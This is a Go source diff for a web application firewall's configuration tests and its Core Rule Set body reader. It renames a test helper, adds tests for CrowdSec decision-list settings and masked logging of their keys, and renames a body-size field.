-		cfg := wafFromEnvironment(
+		cfg := fromEnvironment(
 			t,
 			environment{ipv6GroupPrefix: strconv.Itoa(length)},
 		)
@@ -466,7 +468,7 @@ func TestEachLogLevel(t *testing.T) {
 		"warn":  slog.LevelWarn,
 		"error": slog.LevelError,
 	} {
-		cfg := wafFromEnvironment(t, environment{logLevel: value})
+		cfg := fromEnvironment(t, environment{logLevel: value})
 		if cfg.LogLevel != want {
 			t.Errorf(
 				"%s=%s gave %v, want %v",
@@ -482,7 +484,7 @@ func TestEachLogLevel(t *testing.T) {
 func TestByteLimitSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		bytesLimitPerMinute: "512M",
 		bytesLimitPerHour:   off,
 		bytesLimitPerDay:    "100000",
@@ -498,7 +500,7 @@ func TestByteLimitSettingsAsSet(t *testing.T) {
 func TestRateLimitExemptPathsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(
+	cfg := fromEnvironment(
 		t,
 		environment{rateLimitExemptPaths: "/assets/, /favicon.ico"},
 	)
@@ -529,9 +531,9 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
 	t.Parallel()
 
 	for _, tc := range []struct {
-		env   environment
+		env       environment
-		paths []string
+		paths     []string
-		limit int64
+		threshold int64
 	}{
 		{environment{}, []string{}, 30},
 		{
@@ -540,16 +542,16 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
 		},
 		{environment{refusalsLimitPerMinute: off}, []string{}, 0},
 	} {
-		cfg := wafFromEnvironment(t, tc.env)
+		cfg := fromEnvironment(t, tc.env)
 		if !slices.Equal(cfg.TrapPaths, tc.paths) ||
-			cfg.RefusalsLimitPerMinute != tc.limit {
+			cfg.RefusalsLimitPerMinute != tc.threshold {
 			t.Errorf(
 				"%v gave %v and %d, want %v and %d",
 				tc.env,
 				cfg.TrapPaths,
 				cfg.RefusalsLimitPerMinute,
 				tc.paths,
-				tc.limit,
+				tc.threshold,
 			)
 		}
 	}
@@ -642,7 +644,7 @@ func TestCoreRuleSetSettings(t *testing.T) {
 			},
 		},
 	} {
-		cfg := wafFromEnvironment(t, tc.env)
+		cfg := fromEnvironment(t, tc.env)
 
 		got := config.WAF{
 			CoreRuleSetMode:               cfg.CoreRuleSetMode,
@@ -682,7 +684,7 @@ func TestApps(t *testing.T) {
 			map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
 		},
 	} {
-		cfg := wafFromEnvironment(t, tc.env)
+		cfg := fromEnvironment(t, tc.env)
 		if !reflect.DeepEqual(cfg.Apps, tc.want) {
 			t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
 		}
@@ -703,7 +705,7 @@ func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
 		var out bytes.Buffer
 
 		slog.New(slog.NewJSONHandler(&out, nil)).
-			Info("starting", "settings", wafFromEnvironment(t, tc.env))
+			Info("starting", "settings", fromEnvironment(t, tc.env))
 
 		if !strings.Contains(out.String(), tc.want) {
 			t.Errorf(
@@ -764,7 +766,7 @@ func TestInvalidAppsStopsTheStart(t *testing.T) {
 func TestCoreRuleSetBodyInspectionSizeOf64K(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(
+	cfg := fromEnvironment(
 		t,
 		environment{coreRuleSetBodyInspectionSize: "64K"},
 	)
@@ -843,7 +845,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
 func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		instanceName:      "fsn1app1/blog",
 		logRequestHeaders: " Accept , X-Custom",
 	})
@@ -861,7 +863,7 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
 func TestRemoteLogSettingsDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{instanceName: instance})
+	cfg := fromEnvironment(t, environment{instanceName: instance})
 
 	if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil ||
 		cfg.LogRemoteBufferLines != 10000 || cfg.LogRemoteFacility != 16 ||
@@ -890,7 +892,7 @@ func TestRemoteLogSettingsAsSet(t *testing.T) {
 		t.Fatalf("write %s: %v", caFile, err)
 	}
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		logRemoteURL:         "syslog+tls://logs.example:6514",
 		logRemoteTLSCAFile:   caFile,
 		logRemoteBufferLines: "500",
@@ -925,13 +927,13 @@ func TestRemoteLogURLForms(t *testing.T) {
 		"syslog+tcp://[2001:db8::1]:514",
 		"syslog+tls://logs.example:6514/",
 	} {
-		cfg := wafFromEnvironment(t, environment{logRemoteURL: value})
+		cfg := fromEnvironment(t, environment{logRemoteURL: value})
 		if cfg.LogRemoteURL.String() != value {
 			t.Errorf("%s read as %v", value, cfg.LogRemoteURL)
 		}
 	}
 
-	cfg := wafFromEnvironment(t, environment{logRemoteURL: ""})
+	cfg := fromEnvironment(t, environment{logRemoteURL: ""})
 	if cfg.LogRemoteURL != nil {
 		t.Errorf(
 			"set but empty, %s read as %v",
@@ -948,7 +950,7 @@ func TestRemoteLogFacilitiesByNumber(t *testing.T) {
 		"kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11,
 		"local0": 16, "local5": 21, "local7": 23,
 	} {
-		cfg := wafFromEnvironment(t, environment{logRemoteFacility: name})
+		cfg := fromEnvironment(t, environment{logRemoteFacility: name})
 		if cfg.LogRemoteFacility != number {
 			t.Errorf(
 				"%s read as %d, want %d",
@@ -1034,7 +1036,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
 		t.Errorf("error %v, want %s", err, want)
 	}
 
-	cfg := wafFromEnvironment(t, environment{instanceName: spaced})
+	cfg := fromEnvironment(t, environment{instanceName: spaced})
 	if cfg.LogRemoteAppName != spaced {
 		t.Errorf(
 			"not sending, %s is %q",
@@ -1045,7 +1047,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(
 
 	sending[logRemoteAppName] = instance
 
-	cfg = wafFromEnvironment(t, sending)
+	cfg = fromEnvironment(t, sending)
 	if cfg.LogRemoteAppName != instance {
 		t.Errorf("set to %s, %s is %q", instance, logRemoteAppName,
 			cfg.LogRemoteAppName)
@@ -1071,7 +1073,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
 func TestAlertSettingsDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{})
+	cfg := fromEnvironment(t, environment{})
 
 	if cfg.AlertWebhookURL != nil || len(cfg.AlertWebhookHeaders) != 0 ||
 		cfg.AlertSlackWebhookURL != nil || cfg.AlertNtfyURL != nil ||
@@ -1104,7 +1106,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
 		token   = "tk_0123456789abcdefghijklmnopq"
 	)
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		alertWebhookURL:      webhook,
 		alertWebhookHeaders:  "Authorization: Bearer abc:def , x-team:ops",
 		alertSlackWebhookURL: slack,
@@ -1142,7 +1144,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
 func TestAlertSettingsSetEmptyOrOff(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		alertWebhookURL: "", alertSlackWebhookURL: "", alertNtfyURL: "",
 		alertNtfyToken: "", alertEvents: "", alertCooldown: off, alertMaxPerHour: off,
 	})
@@ -1200,7 +1202,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) {
 
 	const secret = "Bearer 0123456789abcdef"
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		alertWebhookHeaders: "Authorization:" + secret + ",X-Team:ops",
 	})
 
@@ -1240,7 +1242,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
 		"https://hooks.example:8443?token=" + secret: "https://hooks.example:8443/********",
 		"http://[2001:db8::1]:8080":                  "http://[2001:db8::1]:8080",
 	} {
-		cfg := wafFromEnvironment(t, environment{alertWebhookURL: value})
+		cfg := fromEnvironment(t, environment{alertWebhookURL: value})
 
 		var out bytes.Buffer
 
@@ -1276,7 +1278,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
 
 	const token = "tk_0123456789abcdefghijklmnopq"
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
 		alertNtfyURL:         "https://ntfy.example/sww-alerts",
 		alertNtfyToken:       token,
@@ -1343,7 +1345,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(
 		t.Errorf("error %v, want %s", err, want)
 	}
 
-	cfg := wafFromEnvironment(t, environment{instanceName: name})
+	cfg := fromEnvironment(t, environment{instanceName: name})
 	if cfg.InstanceName != name {
 		t.Errorf(
 			"not sending to ntfy, %s is %q",
@@ -1394,7 +1396,7 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
 func TestLookupSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		asnAndCountryLookupTimeout: "500", addLookupHeaders: enabled,
 	})
 	wantLookupSettings(t, cfg, config.WAF{
@@ -1402,7 +1404,7 @@ func TestLookupSettingsAsSet(t *testing.T) {
 		AddLookupHeaders: true,
 	})
 
-	cfg = wafFromEnvironment(t, environment{lookupSource: off})
+	cfg = fromEnvironment(t, environment{lookupSource: off})
 	wantLookupSettings(t, cfg, config.WAF{
 		LookupSource: off, ASNAndCountryLookupTimeout: 800 * time.Millisecond,
 	})
@@ -1413,7 +1415,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) {
 
 	const path = "/var/lib/ipinfo/ipinfo_lite.mmdb"
 
-	cfg := wafFromEnvironment(
+	cfg := fromEnvironment(
 		t,
 		environment{lookupSource: fileSource, lookupDBPath: path},
 	)
@@ -1506,13 +1508,13 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
 		}
 	}
 
-	wafFromEnvironment(t, env)
+	fromEnvironment(t, env)
 }
 
 func TestAnomalySettingsDefaults(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{})
+	cfg := fromEnvironment(t, environment{})
 	wantAllOff(t, cfg)
 
 	if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 ||
@@ -1554,7 +1556,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
 		}
 	}
 
-	cfg := wafFromEnvironment(t, env)
+	cfg := fromEnvironment(t, env)
 
 	if got := thresholdsByScope(cfg); !maps.Equal(got, want) {
 		t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want)
@@ -1587,7 +1589,7 @@ func TestAnomalySettingsAsSet(t *testing.T) {
 		env[name] = off
 	}
 
-	wantAllOff(t, wafFromEnvironment(t, env))
+	wantAllOff(t, fromEnvironment(t, env))
 }
 
 // thresholdsByScope returns cfg's anomaly thresholds, each by the prefix
@@ -1676,7 +1678,7 @@ func TestTagSettingsAsSet(t *testing.T) {
 
 	// Names and tags in either case, an AS number with leading zeros, and a
 	// name holding a =.
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		tagLists: "TorExit=" + torURL +
 			", vpn=mullvad=https://example.com/mullvad.txt",
 		dnsblZones:      "Zen.example",
@@ -1715,7 +1717,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
 
 	const rw = "https://routewatch.example"
 
-	if cfg := wafFromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
+	if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
 		t.Errorf(
 			"default %s is %q, want unset",
 			routeWatchURL,
@@ -1723,7 +1725,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
 		)
 	}
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
 		tagLimitPercent: "prefix=192.0.2.0/24:50",
 	})
@@ -1740,7 +1742,7 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
 	}
 
 	// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
-	wafFromEnvironment(t, environment{
+	fromEnvironment(t, environment{
 		lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
 	})
 
@@ -1811,6 +1813,9 @@ func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) {
 			"abuseipdb with a key",
 			environment{abuseIPDBKey: "k", tagLimitPercent: "abuseipdb:50"}, "",
 		},
+		{"crowdsec, though a list has its name", environment{
+			tagLists: "crowdsec=https://example.com/c.txt", tagDeny: "crowdsec",
+		}, `"crowdsec" cannot be used`},
 		{exploitTag, environment{tagDeny: exploitTag}, ""},
 		{
 			exploitTag + " with rule files off",
@@ -1882,20 +1887,26 @@ func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) {
 func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
 	t.Parallel()
 
+	const lapi = "http://172.17.0.1:8080"
+
 	for _, tc := range []struct {
 		name, listURL string
 		env           environment
 	}{
 		{"a blocklist", dropURL, environment{blocklistURLs: dropURL}},
 		{"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}},
+		{
+			"the CrowdSec decision list", lapi + "/v1/decisions",
+			environment{"SWW_WAF_CROWDSEC_LAPI_URL": lapi, "SWW_WAF_CROWDSEC_LAPI_KEY": "key"},
+		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 
 			tc.env[tagLists] = "dup=" + tc.listURL
 
-			want := tagLists + `: "` + tc.listURL + `" is in SWW_WAF_BLOCKLIST_URLS ` +
+			want := tagLists + `: "` + tc.listURL + `" is in SWW_WAF_BLOCKLIST_URLS, is ` +
-				"or is SWW_WAF_ASN_LIMIT_PERCENT_URL too"
+				"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
 
 			_, err := config.WAFFromEnvironment(tc.env.viper())
 			if err == nil || err.Error() != want {
@@ -1908,7 +1919,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
 func TestBiasedThresholdsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{})
+	cfg := fromEnvironment(t, environment{})
 	if len(cfg.ASNBytesLimitPercent) != 0 ||
 		len(cfg.CountryBytesLimitPercent) != 0 ||
 		cfg.UnknownCountryLimitPercent != 100 {
@@ -1923,7 +1934,7 @@ func TestBiasedThresholdsAsSet(t *testing.T) {
 
 	// AS numbers and countries in either case, an AS number with leading
 	// zeros, 0 and 100.
-	cfg = wafFromEnvironment(t, environment{
+	cfg = fromEnvironment(t, environment{
 		asnBytesLimitPercent:       "as16276:75",
 		countryBytesLimitPercent:   "ru:10",
 		unknownCountryLimitPercent: "0",
@@ -2005,7 +2016,7 @@ const (
 func TestReputationSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{})
+	cfg := fromEnvironment(t, environment{})
 	if len(cfg.BlocklistURLs) != 0 || cfg.BlocklistRefresh != 24*time.Hour ||
 		cfg.BlocklistAction != actionDeny || cfg.ASNLimitPercentURL != "" {
 		t.Errorf(
@@ -2032,7 +2043,7 @@ func TestReputationSettingsAsSet(t *testing.T) {
 		{"limit:0", actionLimit, 0},
 	} {
 		// An hour, the shortest refresh allowed.
-		cfg := wafFromEnvironment(t, environment{
+		cfg := fromEnvironment(t, environment{
 			blocklistURLs: dropURL + ", " + torURL, blocklistRefresh: "1h",
 			blocklistAction: tc.value, asnLimitPercentURL: asnURL,
 		})
@@ -2129,7 +2140,7 @@ const (
 func TestDNSBLSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{})
+	cfg := fromEnvironment(t, environment{})
 	if len(cfg.DNSBLZones) != 0 || cfg.DNSBLResolver.IsValid() ||
 		cfg.DNSBLAbuseIPDBAction != actionLimit ||
 		cfg.DNSBLAbuseIPDBLimitPercent != 25 ||
@@ -2177,7 +2188,7 @@ func TestDNSBLSettingsAsSet(t *testing.T) {
 			[]string{dronebl}, "[2001:db8::53]:5353", actionLimit, 0,
 		},
 	} {
-		cfg := wafFromEnvironment(t, environment{
+		cfg := fromEnvironment(t, environment{
 			dnsblZones: tc.zones, dnsblResolver: tc.resolver, dnsblAbuseIPDBAction: tc.action,
 			ipReputationCacheTTL: "12h", dnsblAbuseIPDBTimeout: "3000",
 		})
@@ -2299,7 +2310,7 @@ func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(
 func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(
+	cfg := fromEnvironment(
 		t,
 		environment{dnsblZones: dronebl + ", " + spamhaus},
 	)
@@ -2364,7 +2375,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
 func TestAbuseIPDBSettingsAsSet(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{})
+	cfg := fromEnvironment(t, environment{})
 	if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 ||
 		cfg.AbuseIPDBDailyBudget != 900 {
 		t.Errorf(
@@ -2376,7 +2387,7 @@ func TestAbuseIPDBSettingsAsSet(t *testing.T) {
 		)
 	}
 
-	cfg = wafFromEnvironment(t, environment{
+	cfg = fromEnvironment(t, environment{
 		abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1",
 	})
 	if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 ||
@@ -2431,7 +2442,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(
 func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{abuseIPDBKey: token})
+	cfg := fromEnvironment(t, environment{abuseIPDBKey: token})
 
 	var out bytes.Buffer
 
@@ -2445,10 +2456,142 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
 	}
 }
 
+func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
+	t.Parallel()
+
+	cfg := fromEnvironment(t, environment{})
+	if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
+		t.Errorf(
+			"by default, the decision list %q and the key %q, want neither",
+			cfg.CrowdSecDecisionsURL,
+			cfg.CrowdSecKey,
+		)
+	}
+
+	for lapi, want := range map[string]string{
+		"http://172.17.0.1:8080":          "http://172.17.0.1:8080/v1/decisions",
+		"http://172.17.0.1:8080/":         "http://172.17.0.1:8080/v1/decisions",
+		"https://crowdsec.example/lapi/":  "https://crowdsec.example/lapi/v1/decisions",
+		"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
+	} {
+		cfg := fromEnvironment(
+			t,
+			environment{crowdSecURL: lapi, crowdSecKey: token},
+		)
+		if cfg.CrowdSecDecisionsURL != want || cfg.CrowdSecKey != token {
+			t.Errorf(
+				"%s=%s gave the decision list %q and the key %q, want %s and %s",
+				crowdSecURL,
+				lapi,
+				cfg.CrowdSecDecisionsURL,
+				cfg.CrowdSecKey,
+				want,
+				token,
+			)
+		}
+	}
+}
+
+func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
+	t.Parallel()
+
+	const (
+		lapi       = "http://172.17.0.1:8080"
+		notLAPIURL = " is not an http or https URL without a user or a fragment, " +
+			"such as http://172.17.0.1:8080"
+		anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
+			`SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too`
+	)
+
+	for _, tc := range []struct {
+		name string
+		env  environment
+		want string
+	}{
+		{
+			"a URL that is not http",
+			environment{crowdSecURL: "ftp://172.17.0.1", crowdSecKey: token},
+			crowdSecURL + `: "ftp://172.17.0.1"` + notLAPIURL,
+		},
+		{
+			"a URL with a user",
+			environment{crowdSecURL: "http://bouncer@172.17.0.1:8080", crowdSecKey: token},
+			crowdSecURL + `: "http://bouncer@172.17.0.1:8080"` + notLAPIURL,
+		},
+		{
+			"the URL without the key",
+			environment{crowdSecURL: lapi},
+			crowdSecURL + ": is set while " + crowdSecKey + " is unset; the engine " +
+				"answers no request without it",
+		},
+		{
+			"the key without the URL",
+			environment{crowdSecKey: token},
+			crowdSecKey + ": is set while " + crowdSecURL + " is unset; it is sent only " +
+				"to the engine at that URL",
+		},
+		{
+			"the decision list as a blocklist too",
+			environment{
+				crowdSecURL: lapi, crowdSecKey: token,
+				blocklistURLs: "https://lists.example/drop.txt," + lapi + "/v1/decisions",
+			},
+			crowdSecURL + ": " + anotherList,
+		},
+		{
+			"the decision list as the file of AS:percent lines too",
+			environment{
+				crowdSecURL: lapi + "/", crowdSecKey: token,
+				asnLimitPercentURL: lapi + "/v1/decisions",
+			},
+			crowdSecURL + ": " + anotherList,
+		},
+		// The key itself is never shown.
+		{
+			"a key with a control character",
+			environment{crowdSecURL: lapi, crowdSecKey: token + "\r"},
+			crowdSecKey + ": holds a control character, such as the carriage return " +
+				"of a Windows line end",
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			_, err := config.WAFFromEnvironment(tc.env.viper())
+			if err == nil || err.Error() != tc.want {
+				t.Errorf("error %v, want %s", err, tc.want)
+			}
+		})
+	}
+}
+
+func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
+	t.Parallel()
+
+	cfg := fromEnvironment(t, environment{
+		crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
+	})
+
+	var out bytes.Buffer
+
+	slog.New(slog.NewJSONHandler(&out, nil)).
+		Info("starting", "settings", cfg)
+
+	logged := out.String()
+	if strings.Contains(logged, token) ||
+		!strings.Contains(logged, `"`+crowdSecKey+`":"********"`) ||
+		!strings.Contains(
+			logged,
+			`"`+crowdSecURL+`":"http://172.17.0.1:8080"`,
+		) {
+		t.Errorf("the key is not logged masked beside the URL: %s", logged)
+	}
+}
+
 func TestSizesAndOff(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		bytesLimitPerMinute: "3G",
 		bytesLimitPerHour:   off,
 		alertCooldown:       off,
@@ -2468,7 +2611,7 @@ func TestSizesAndOff(t *testing.T) {
 func TestRateLimitsOff(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		rateLimitPerMinute: off,
 		rateLimitPerHour:   off,
 		rateLimitPerDay:    off,
@@ -2488,7 +2631,7 @@ func TestRateLimitsOff(t *testing.T) {
 func TestBanResponseCloseIsZero(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{banResponse: "close"})
+	cfg := fromEnvironment(t, environment{banResponse: "close"})
 	if cfg.BanResponse != 0 {
 		t.Errorf("close read as %d, want 0", cfg.BanResponse)
 	}
@@ -2571,10 +2714,10 @@ func TestInvalidLookupTagOrLogValueStopsTheStart(t *testing.T) {
 		{tagDeny, "a,,b"}, {tagDeny, "country=nk"}, {tagDeny, "asn=abc"},
 		{tagDeny, "asn="},
 		{tagDeny, "torexit,TOREXIT"}, {tagDeny, "torexti"},
-		{tagDeny, zenTag}, {tagDeny, "abuseipdb"},
+		{tagDeny, zenTag}, {tagDeny, "abuseipdb"}, {tagDeny, "crowdsec"},
 		{tagLimitPercent, "torexti:50"},
 		{tagLimitPercent, "dnsbl=zen.example:50"},
-		{tagLimitPercent, "abuseipdb:50"},
+		{tagLimitPercent, "abuseipdb:50"}, {tagLimitPercent, "crowdsec:50"},
 		{tagLimitPercent, "vpn :50"},
 		{tagLimitPercent, "vpn"}, {tagLimitPercent, ":50"},
 		{tagLimitPercent, "vpn:"},
@@ -2740,7 +2883,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) {
 func TestTokensAreReadAndLoggedMasked(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(
+	cfg := fromEnvironment(
 		t,
 		environment{adminToken: otherToken, metricsToken: token},
 	)
@@ -2772,7 +2915,7 @@ func TestSettingFromFileLosesOneNewlineAndNoMore(t *testing.T) {
 		token + "\n\n": token + "\n",
 		token + " \n":  token + " ",
 	} {
-		cfg := wafFromEnvironment(t, environment{
+		cfg := fromEnvironment(t, environment{
 			metricsToken + "_FILE": writeFile(t, contents),
 		})
 		if cfg.MetricsToken != want {
@@ -2848,7 +2991,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
 	t.Parallel()
 
 	path := writeFile(t, token+"\n")
-	cfg := wafFromEnvironment(t, environment{metricsToken + "_FILE": path})
+	cfg := fromEnvironment(t, environment{metricsToken + "_FILE": path})
 
 	var out bytes.Buffer
 
@@ -2878,7 +3021,7 @@ func TestTokenFromFileIsLoggedMaskedWithTheFile(t *testing.T) {
 func TestRemoteLogCAFileIsNotReadAsAFileInItsTurn(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{
+	cfg := fromEnvironment(t, environment{
 		logRemoteTLSCAFile + "_FILE": writeFile(t, "/nonexistent/ca.pem\n"),
 	})
 	if cfg.LogRemoteTLSCAs != nil {
@@ -2905,7 +3048,7 @@ func writeFile(t *testing.T, contents string) string {
 func TestLogsEachSettingWithItsValue(t *testing.T) {
 	t.Parallel()
 
-	cfg := wafFromEnvironment(t, environment{rateLimitPerMinute: "45"})
+	cfg := fromEnvironment(t, environment{rateLimitPerMinute: "45"})
 	hostname, _ := os.Hostname()
 
 	want := map[string]string{
@@ -2948,6 +3091,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
 		ipReputationCacheTTL:           defaultIPReputationCacheTTL,
 		dnsblAbuseIPDBTimeout:          "2000",
 		routeWatchURL:                  "",
+		crowdSecURL:                    "",
+		crowdSecKey:                    "",
 		banResponse:                    "403",
 		limitBanDuration:               "1h",
 		limitBanRepeatWindow:           "24h",

internal/coreruleset/coreruleset.go

@@ -337,8 +337,8 @@ func checkExclusions(exclusions string) error {
 // CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
 // for concurrent use.
 type CoreRuleSet struct {
-	engine             coraza.WAF
+	engine    coraza.WAF
-	bodyInspectionSize int64
+	bodyLimit int64
 	// appsByHostname are the names of the apps each hostname serves, by
 	// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
 	appsByHostname map[string][]string
@@ -346,10 +346,10 @@ type CoreRuleSet struct {
 
 // New returns the Core Rule Set with the five changes and the apps' fixes,
 // at params' paranoia level, without the rules it switches off, reading
-// request bodies up to params' body inspection size, and with params'
+// request bodies up to params' limit, and with params' exclusions file
-// exclusions file loaded before the Core Rule Set's rules. An exclusions
+// loaded before the Core Rule Set's rules. An exclusions file is an error
-// file is an error if it cannot be read or does not parse, or if
+// if it cannot be read or does not parse, or if checkExclusions refuses
-// checkExclusions refuses it.
+// it.
 func New(params Params) (*CoreRuleSet, error) {
 	body := ""
 	if params.BodyInspectionSize > 0 {
@@ -397,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
 	}
 
 	return &CoreRuleSet{
-		engine:             engine,
+		engine:         engine,
-		bodyInspectionSize: params.BodyInspectionSize,
+		bodyLimit:      params.BodyInspectionSize,
-		appsByHostname:     params.Apps,
+		appsByHostname: params.Apps,
 	}, nil
 }
 
@@ -484,17 +484,17 @@ func (c *CoreRuleSet) Inspect(
 // readBody reads body, the body of the request in tx, which has run on
 // the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
 // set and the body is of a kind the Core Rule Set reads: form data and
-// multipart, of which it reads the first c.bodyInspectionSize bytes, and
+// multipart, of which it reads the first c.bodyLimit bytes, and JSON and
-// JSON and XML, which it reads only when they are no longer than that,
+// XML, which it reads only when they are no longer than that, since they
-// since they cannot be read in part.
+// cannot be read in part.
-// readBody reads one byte past c.bodyInspectionSize, to tell which they
+// readBody reads one byte past the limit, to tell which they are, gives
-// are, gives the Core Rule Set what it reads, and returns what it read and
+// the Core Rule Set what it reads, and returns what it read and the error
-// the error that ended the reading early, if one did.
+// that ended the reading early, if one did.
 func (c *CoreRuleSet) readBody(
 	tx types.Transaction,
 	body io.Reader,
 ) ([]byte, error) {
-	if c.bodyInspectionSize == 0 {
+	if c.bodyLimit == 0 {
 		return nil, nil
 	}
 
@@ -511,9 +511,9 @@ func (c *CoreRuleSet) readBody(
 		return nil, nil
 	}
 
-	read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
+	read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
 
-	if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
+	if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
 		// Coraza holds what it reads of the body in memory, up to the
 		// limit, so this cannot fail.
 		_, _, _ = tx.WriteRequestBody(read)

internal/coreruleset/coreruleset_test.go

@@ -919,10 +919,6 @@ const retypeKey = "retype"
